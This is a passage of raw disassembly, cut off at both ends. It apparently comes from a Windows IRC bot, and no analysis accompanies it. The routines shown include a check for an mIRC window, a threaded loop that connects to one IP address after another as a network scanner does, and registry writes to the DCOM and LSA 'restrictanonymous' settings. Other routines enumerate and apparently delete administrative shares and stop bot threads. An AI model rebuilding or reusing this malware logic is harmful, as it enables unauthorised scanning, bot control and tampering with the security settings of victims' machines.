		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40F9FA
		call	ds:dword_4307A0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_42DBD0
		jnz	short loc_40F9E3
		mov	eax, offset dword_42F3E8


loc_40F9E3:				; CODE XREF: sub_40F9AB+31j
		push	eax
		push	esi
		push	offset dword_42DBC8
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_410A8A
		add	esp, 14h
		jmp	short loc_40FA1A
; ---------------------------------------------------------------------------


loc_40F9FA:				; CODE XREF: sub_40F9AB+22j
		call	ds:dword_4307A0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_42DBD0
		jnz	short loc_40FA0E
		mov	eax, offset dword_42F3E8


loc_40FA0E:				; CODE XREF: sub_40F9AB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40FA1A:				; CODE XREF: sub_40F9AB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_410B60
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40FA49
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_411ED0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_411D00
		add	esp, 18h


loc_40FA49:				; CODE XREF: sub_40F9AB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40F9AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA4E	proc near		; CODE XREF: sub_4090B0+7Fp
					; sub_409218+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DB54


loc_40FA5A:				; CODE XREF: sub_40FA4E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40FA75
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_410930
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40FA7F
; ---------------------------------------------------------------------------


loc_40FA75:				; CODE XREF: sub_40FA4E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40FA7F:				; CODE XREF: sub_40FA4E+25j
		test	eax, eax
		jnz	short loc_40FA91
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_42DBB8
		jl	short loc_40FA5A
		jmp	short loc_40FA9F
; ---------------------------------------------------------------------------


loc_40FA91:				; CODE XREF: sub_40FA4E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42DB58[eax*4]
		pop	ecx


loc_40FA9F:				; CODE XREF: sub_40FA4E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40FAB2
		push	[ebp+arg_0]
		call	sub_40F9AB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FAB2:				; CODE XREF: sub_40FA4E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40FA4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAB7	proc near		; DATA XREF: sub_40FB84+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_430794	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_430810	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40FB75
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_430740	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4358E4[ecx], esi
		jz	short loc_40FB75
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		mov	edi, offset dword_45F614
		push	offset unk_42DBD4
		push	edi
		call	sub_41050B
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40E367
		push	edi
		call	sub_407E0E
		add	esp, 28h


loc_40FB75:				; CODE XREF: sub_40FAB7+5Dj
					; sub_40FAB7+7Ej
		push	esi
		call	ds:dword_430828	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40FAB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40FB84	proc near		; DATA XREF: seg000:0040BFA2o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41C058
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40FBB2:				; CODE XREF: sub_40FB84+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_42DC10
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4356D8
		push	eax
		call	sub_411D00
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40FAB7
		push	edi
		push	edi
		call	ds:dword_41C06C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40FC1E


loc_40FC13:				; CODE XREF: sub_40FB84+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40FC1E
		push	32h
		call	esi	; Sleep
		jmp	short loc_40FC13
; ---------------------------------------------------------------------------


loc_40FC1E:				; CODE XREF: sub_40FB84+8Dj
					; sub_40FB84+92j
		push	[ebp+var_4]
		call	ds:dword_41C070	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4306D8	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_430790	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		jmp	loc_40FBB2
sub_40FB84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC75	proc near		; CODE XREF: seg000:0040FFA1p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_430860, edi
		jnz	loc_40FDA7
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_430800	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40FD00
		mov	ax, ds:word_42E000
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_4307B8	; RegSetValueExA
		test	eax, eax
		jz	short loc_40FCE2
		push	offset unk_42DFBC
		jmp	short loc_40FCE7
; ---------------------------------------------------------------------------


loc_40FCE2:				; CODE XREF: sub_40FC75+64j
		push	offset dword_42DF8C


loc_40FCE7:				; CODE XREF: sub_40FC75+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_430770	; RegCloseKey
		jmp	short loc_40FD13
; ---------------------------------------------------------------------------


loc_40FD00:				; CODE XREF: sub_40FC75+36j
		lea	eax, [ebp+var_214]
		push	offset unk_42DF48
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40FD13:				; CODE XREF: sub_40FC75+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FD32
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40FD32:				; CODE XREF: sub_40FC75+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407E0E
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_430800	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40FDA0
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_4307B8	; RegSetValueExA
		test	eax, eax
		jz	short loc_40FD82
		push	offset unk_42DEE4
		jmp	short loc_40FD87
; ---------------------------------------------------------------------------


loc_40FD82:				; CODE XREF: sub_40FC75+104j
		push	offset unk_42DE9C


loc_40FD87:				; CODE XREF: sub_40FC75+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_430770	; RegCloseKey
		jmp	short loc_40FDBA
; ---------------------------------------------------------------------------


loc_40FDA0:				; CODE XREF: sub_40FC75+E2j
		push	offset unk_42DE4C
		jmp	short loc_40FDAC
; ---------------------------------------------------------------------------


loc_40FDA7:				; CODE XREF: sub_40FC75+13j
		push	offset unk_42DE08


loc_40FDAC:				; CODE XREF: sub_40FC75+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40FDBA:				; CODE XREF: sub_40FC75+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FDD9
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40FDD9:				; CODE XREF: sub_40FC75+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407E0E
		cmp	ds:dword_430888, edi
		pop	ecx
		jnz	loc_40FF54
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_40FDFC:				; CODE XREF: sub_40FC75+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_4306F0
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_40FE99
		cmp	eax, 0EAh
		jz	short loc_40FE99
		mov	esi, offset off_42DC58


loc_40FE2D:				; CODE XREF: sub_40FC75+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40E9B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_40FE44
		push	offset unk_42DDD0
		jmp	short loc_40FE49
; ---------------------------------------------------------------------------


loc_40FE44:				; CODE XREF: sub_40FC75+1C6j
		push	offset unk_42DD90


loc_40FE49:				; CODE XREF: sub_40FC75+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FE7C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40FE7C:				; CODE XREF: sub_40FC75+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407E0E
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_42DC78
		jl	short loc_40FE2D
		jmp	loc_40FF31
; ---------------------------------------------------------------------------


loc_40FE99:				; CODE XREF: sub_40FC75+1AAj
					; sub_40FC75+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_40FF28


loc_40FEA8:				; CODE XREF: sub_40FC75+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4128CC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_40FF1D
		push	edi
		call	sub_40E8A5
		push	eax
		push	0
		call	sub_40E9B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_40FED7
		push	offset unk_42DD58
		jmp	short loc_40FEDC
; ---------------------------------------------------------------------------


loc_40FED7:				; CODE XREF: sub_40FC75+259j
		push	offset unk_42DD18


loc_40FEDC:				; CODE XREF: sub_40FC75+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40FF10
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40FF10:				; CODE XREF: sub_40FC75+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407E0E
		pop	ecx


loc_40FF1D:				; CODE XREF: sub_40FC75+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_40FEA8
		xor	edi, edi


loc_40FF28:				; CODE XREF: sub_40FC75+22Dj
		push	[ebp+var_8]
		call	ds:dword_430820


loc_40FF31:				; CODE XREF: sub_40FC75+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_40FDFC
		lea	eax, [ebp+var_214]
		push	offset unk_42DCDC
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_40FF67
; ---------------------------------------------------------------------------


loc_40FF54:				; CODE XREF: sub_40FC75+177j
		lea	eax, [ebp+var_214]
		push	offset unk_42DC98
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40FF67:				; CODE XREF: sub_40FC75+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FF85
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40FF85:				; CODE XREF: sub_40FC75+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407E0E
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40FC75	endp

; ---------------------------------------------------------------------------


loc_40FF99:				; CODE XREF: seg000:0040FFB5j
					; DATA XREF: sub_4089FD+4BCo
		push	1
		push	0
		push	0
		push	0
		call	sub_40FC75
		add	esp, 10h
		push	ds:dword_42DC50
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40FF99

; =============== S U B	R O U T	I N E =======================================



sub_40FFB7	proc near		; CODE XREF: seg000:004040A4p
					; seg000:004050EAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4356D8


loc_40FFBF:				; CODE XREF: sub_40FFB7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40FFD3
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_45EBC8
		jl	short loc_40FFBF
		jmp	short loc_41001E
; ---------------------------------------------------------------------------


loc_40FFD3:				; CODE XREF: sub_40FFB7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4356D8[esi]
		push	eax
		call	sub_411D00
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_4358D8[esi], eax
		and	ds:dword_4358DC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_4358E0[esi], 0
		mov	ds:dword_4358E4[esi], eax
		and	ds:byte_4358F0[esi], 0
		pop	esi


loc_41001E:				; CODE XREF: sub_40FFB7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40FFB7	endp

; ---------------------------------------------------------------------------
word_410022	dw 8B55h		; DATA XREF: seg000:0040DE84o
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 0FBFF8FE8h, 5E5FF1FFh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 42E0F868h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE2D3h, 3314C483h, 56D8BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 0B468FFFFh, 500042C5h, 446E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE28Bh
		dd 8124C483h, 234C6h, 0FE814700h, 45EBC8h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4100F2	proc near		; CODE XREF: seg000:0040D295p
					; sub_410180+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41017A
		cmp	esi, 12Ch
		jge	short loc_41017A
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_4358EC[esi]
		lea	edi, dword_4358EC[esi]
		call	near ptr 3D0000h
		push	edi
		cmp	[edi], ebx
		jz	short loc_41012A
		push	1
		pop	ebp


loc_41012A:				; CODE XREF: sub_4100F2+33j
		mov	[edi], ebx
		lea	edi, dword_4358E0[esi]
		mov	ds:dword_4358D8[esi], ebx
		mov	ds:dword_4358DC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_41014B
		push	eax
		call	sub_40F67C
		pop	ecx


loc_41014B:				; CODE XREF: sub_4100F2+50j
		mov	[edi], ebx
		lea	edi, dword_4358E4[esi]
		mov	byte ptr ds:dword_4356D8[esi], bl
		mov	ds:byte_4358F0[esi], bl
		push	dword ptr [edi]
		call	ds:dword_430828	; closesocket
		lea	esi, dword_4358E8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_430828	; closesocket
		mov	[esi], ebx
		pop	edi


loc_41017A:				; CODE XREF: sub_4100F2+Dj
					; sub_4100F2+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4100F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410180	proc near		; CODE XREF: seg000:loc_4070FDp
					; sub_4089FD+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4356D8


loc_41018C:				; CODE XREF: sub_410180+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41019D
		push	edi
		call	sub_4100F2
		test	eax, eax
		pop	ecx
		jz	short loc_41019D
		inc	ebx


loc_41019D:				; CODE XREF: sub_410180+Fj
					; sub_410180+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_45EBC8
		jl	short loc_41018C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_410180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101B2	proc near		; CODE XREF: sub_410245+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4358DC


loc_4101C6:				; CODE XREF: sub_4101B2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4101E8
		test	edi, edi
		jle	short loc_4101DA
		cmp	[esi], edi
		jz	short loc_4101DA
		cmp	ebx, edi
		jnz	short loc_4101E8


loc_4101DA:				; CODE XREF: sub_4101B2+1Ej
					; sub_4101B2+22j
		push	ebx
		call	sub_4100F2
		test	eax, eax
		pop	ecx
		jz	short loc_4101E8
		inc	[ebp+var_4]


loc_4101E8:				; CODE XREF: sub_4101B2+1Aj
					; sub_4101B2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_45EDCC
		jl	short loc_4101C6
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4101B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101FF	proc near		; CODE XREF: sub_404F83+Bp
					; seg000:00405027p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4358D8


loc_410206:				; CODE XREF: sub_4101FF+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_41020F
		inc	eax


loc_41020F:				; CODE XREF: sub_4101FF+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_45EDC8
		jl	short loc_410206
		retn
sub_4101FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41021E	proc near		; CODE XREF: seg000:0040D98Cp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4358D8


loc_410228:				; CODE XREF: sub_41021E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_410241
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_45EDC8
		jl	short loc_410228
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410241:				; CODE XREF: sub_41021E+10j
		mov	eax, edx
		pop	esi
		retn
sub_41021E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410245	proc near		; CODE XREF: seg000:0040E021p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41025E
		push	[ebp+arg_1C]
		call	sub_410A7F
		pop	ecx


loc_41025E:				; CODE XREF: sub_410245+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_4101B2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41028A
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_41050B
		add	esp, 14h
		jmp	short loc_4102A4
; ---------------------------------------------------------------------------


loc_41028A:				; CODE XREF: sub_410245+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_41050B
		add	esp, 10h


loc_4102A4:				; CODE XREF: sub_410245+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4102C4
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_4102C4:				; CODE XREF: sub_410245+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407E0E
		pop	ecx
		leave
		retn
sub_410245	endp


; =============== S U B	R O U T	I N E =======================================



sub_4102D3	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_4358EC[eax], ecx
		mov	ds:dword_4358D8[eax], ecx
		mov	ds:dword_4358DC[eax], ecx
		mov	ds:dword_4358E0[eax], ecx
		mov	ds:dword_4358E4[eax], ecx
		mov	ds:dword_4358E8[eax], ecx
		mov	byte ptr ds:dword_4356D8[eax], cl
		mov	ds:byte_4358F0[eax], cl
		retn
sub_4102D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410310	proc near		; CODE XREF: seg000:0040E1F3p
					; sub_41043E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_41031A:				; CODE XREF: sub_410310+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41037A
		cmp	eax, 1
		jnz	short loc_41037A
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41037A
		cmp	cl, 2Ah
		jz	short loc_410361
		cmp	cl, 3Fh
		jz	short loc_410344
		cmp	cl, 5Bh
		jz	short loc_410349
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_410344:				; CODE XREF: sub_410310+26j
		inc	[ebp+arg_4]
		jmp	short loc_410374
; ---------------------------------------------------------------------------


loc_410349:				; CODE XREF: sub_410310+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4103A6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410374
; ---------------------------------------------------------------------------


loc_410361:				; CODE XREF: sub_410310+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41043E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_410374:				; CODE XREF: sub_410310+37j
					; sub_410310+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41031A
; ---------------------------------------------------------------------------


loc_41037A:				; CODE XREF: sub_410310+Ej
					; sub_410310+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41038A
		cmp	eax, 1
		jnz	short loc_4103A1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41037A
; ---------------------------------------------------------------------------


loc_41038A:				; CODE XREF: sub_410310+6Dj
		cmp	eax, 1
		jnz	short loc_4103A1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4103A1
		cmp	byte ptr [esi],	0
		jnz	short loc_4103A1
		push	1
		pop	eax
		jmp	short loc_4103A3
; ---------------------------------------------------------------------------


loc_4103A1:				; CODE XREF: sub_410310+72j
					; sub_410310+7Dj ...
		xor	eax, eax


loc_4103A3:				; CODE XREF: sub_410310+8Fj
		pop	esi
		pop	ebp
		retn
sub_410310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103A6	proc near		; CODE XREF: sub_410310+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4103C7
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4103C7:				; CODE XREF: sub_4103A6+19j
		push	ebx
		push	esi


loc_4103C9:				; CODE XREF: sub_4103A6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4103D7
		cmp	[ebp+var_4], eax
		jnz	short loc_410423


